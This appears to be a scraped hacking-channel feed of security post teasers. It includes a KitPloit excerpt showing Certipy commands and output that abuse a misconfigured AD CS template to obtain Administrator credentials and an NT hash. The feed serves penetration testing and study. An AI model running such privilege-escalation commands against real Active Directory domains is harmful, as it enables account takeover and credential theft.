Hacking on Medium
OverTheWire: Bandit Level 23 → 24

https://cdn-images-1.medium.com/max/2600/0*j42ri5ddFcJkh5fJ
Writeup for OverTheWire Bandit CTF Level 23 → 24

Continue reading on Medium »

Hacking on Medium
United States has offered a $10 million reward for Colonial Pipeline Hackers.

https://cdn-images-1.medium.com/max/2600/0*75ty1fbHyEK5-7mQ
The US government is offering a $10 million (£7.4 million) reward money about the DarkSide hacker group.

Continue reading on Medium »

KitPloit - PenTest Tools!
Certipy - Python Implementation For Active Directory Certificate Abuse

https://blogger.googleusercontent.com/img/a/AVvXsEjc8nNzh4nZWmYpoJqcyoUTMvyTpGZNv3TS5ce8Ebsn6IpjwA7eK6_p3WG2Vk2Ww7Rh-JX9NC79f8HUmV-YCSpjdXFjx3vvY58jH_wNRfCj3wBtmba4ydzTRfqVXzFcSLNfGhd6KD_eqi3TOxayRho-R6xd9yGGCOuAB_yvUp-_FAOLaVPi-czMP-C9jQ=w640-h202 Certipy is a Python tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Based on the C# variant Certify from @harmj0y and @tifkin_. Installation$ python3 setup.py installRemember to add the Python scripts directory to your path. Usage$ certipy -h
usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
target {find,req,auth,auto} ...

Active Directory certificate abuse

positional arguments:
target [[domain/]username[:password]@]ExamplesAutoAutomatically abuse certificate templates for privilege escalation. This action will try to find, request and authenticate as the Administratoruser. Upon success, a credential cache will be saved and the NT hash will be decrypted from the PAC in the TGS_REP.

To demonstrate how easy it is to misconfigure certificate templates, the default certificate template Web Serverhas been copied to Copy of Web Server. The only change was that the EKU Server Authenticationwas removed and that authenticated users are allowed to enroll. This will allow enrollees to specify the subject and use it for client authentication, i.e. authenticate as any user. If no EKUs are specified, then the certificate can be used for all purposes. Alternatively, one could add the Client AuthenticationEKU.

In this example, the user johnis a low privileged user who is allowed to enroll for the Copy of Web Servertemplate. $ certipy 'predator/john:Passw0rd@dc.predator.local' auto
[*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate to '1.crt'
[*] Saved private key to '1.key'
[*] Using UPN: 'Administrator@predator'
[*] Trying to get TGT...
[*] Saved credential cache to 'Administrator.ccache'
[*] Trying to retrieve NT hash for 'Administrator@predator'
[*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889By default, the user Administratoris chosen. Use the -userp[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Certipy - Python Implementation For Active Directory Certificate Abuse

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HackTheBox | - PivotAPI ✨ (Windows | Insane | ActivDir) Video Solution

⭐️ I have started an amateur YouTube Channel@SecAura on Ethical Hacking.

⭐️ So far it’s just HackTheBox content while I find time to put some original content together covering all areas of hacking :) and also find my feet with content creation :)

⭐️ I would love it if anyone could check out my video(s), and provide feedback, and hopefully learn something in the process! :)

🔗 Link attached to the latest retired box video solution - PivotAPI ✨ (Windows | Insane | ActivDir) !

https://www.youtube.com/watch?v=nejEQ12RvJ0

Main topics covered:

ASREP roasting (Kerberoasting)

Binary analysis - win API calls

Exfiltration of Binary keepass2 database over MSSQL Command Injection

Multiple BloodHound lateral privilege escalation (GenericWrite / LAPSPASSWORD)

C# Binary analysis in DNSPY/Visual Studio

submitted by /u/SecAura
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/BNwJ48zXMDYjbiEay4p81NKiUeqmtzcvHNhn0LAr7HA.jpg Hardware grade PIN bruteforce protection using a split encryption key

https://veslocker.com

https://preview.redd.it/7lzm8zaub0y71.png?width=756&format=png&auto=webp&s=ba002803e3b7e99c41308238f16755d0290291cf

submitted by /u/vesvault
[link] [comments]

hacking: security in practice
How can having someones ip be a threat to them?

Recently I've been seeing all these memes about how sending someone their ip address is threatening. I know those are just meme but I wonder if it's actually a thing. I don't know much about networks and hacking but I know that with ip you can only find out which city people live in and that's not much information.

submitted by /u/mustache-eater
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Thread Modelling using DREAD

https://cdn-images-1.medium.com/max/964/1*vJHF5sI21bszj6PX2GY55Q.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I built an Android Spyware using Ruby on Rails and Metasploit

https://cdn-images-1.medium.com/max/1600/1*yv9GnGEyJN2T_69Ei4AJaw.png
Last year I had to present my dissertation paper and I chose to build a spyware tool for Android devices. I got a lot of requests to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Broken: Gallery Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/804/0*j9dFAoDZ_Fm4iyJG.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacker101: Micro-CMS v1

https://cdn-images-1.medium.com/max/600/1*Eu-rwVs3qzPWB1FCmHBfZQ.png
console.log(“Hello World!”);

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The 5 Steps to Hack Fight by Smart Mindset

https://cdn-images-1.medium.com/max/1536/1*BHivZz6vSIPu7FZgLRgmyw.png
Are you in the victim mindset, millionaire mindset, entrepreneurial mindset, positive mind, or growth mindset?

Continue reading on ILLUMINATION »

___________________________
@hacking_Attack
@Hacking_Video